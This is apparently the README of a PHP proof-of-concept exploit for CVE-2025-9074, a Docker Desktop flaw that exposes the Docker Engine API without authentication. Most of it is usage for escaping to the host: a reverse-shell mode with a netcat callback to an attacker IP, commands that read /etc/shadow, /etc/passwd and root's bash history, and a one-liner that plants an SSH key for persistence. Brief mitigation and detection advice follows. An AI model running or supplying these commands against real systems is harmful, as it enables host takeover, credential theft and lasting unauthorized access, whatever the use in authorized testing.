
PHP poc, exploit for CVE-2025-9074
Severity: CRITICAL | CVSS Score: 9.8 (estimated) | Affected Versions: Docker Desktop < 4.44.3
A proof-of-concept exploit for CVE-2025-9074, an unauthenticated Remote Code Execution vulnerability in Docker Engine API that allows privileged container escape and host system compromise.
CVE-2025-9074 is a critical vulnerability in Docker Desktop that exposes the Docker Engine API without proper authentication or network isolation. This allows remote attackers to:
The vulnerability affects:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Execute a single command on the Docker host:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Establish an interactive reverse shell:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
| Option | Short | Required | Description |
|---|---|---|---|
--url | -u | ✅ Yes | Docker API URL (e.g., http://1.2.3.4:2375) |
--mode | -m | ❌ No | Execution mode: cmd or reverse (default: cmd) |
--cmd | -c | ⚠️ For cmd mode | Command to execute on target |
--lhost | -l | ⚠️ For reverse mode | Your IP address for callback |
--lport | -p | ❌ No | Your listening port (default: 4444) |
--os | — | ❌ No | Target OS: linux, mac, windows (default: linux) |
--cleanup | — | ❌ No | Remove container after execution |
--help | -h | ❌ No | Display help message |
Execute single commands on the target:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Spawn an interactive shell with callback:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 without authentication/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs paths┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
Upgrade Docker Desktop
# Update to version 4.44.3 or later
Network Isolation
Enable TLS Authentication
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Network Segmentation
/var/run/docker.sock) for local access only# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
This tool is provided for authorized security testing and educational purposes only.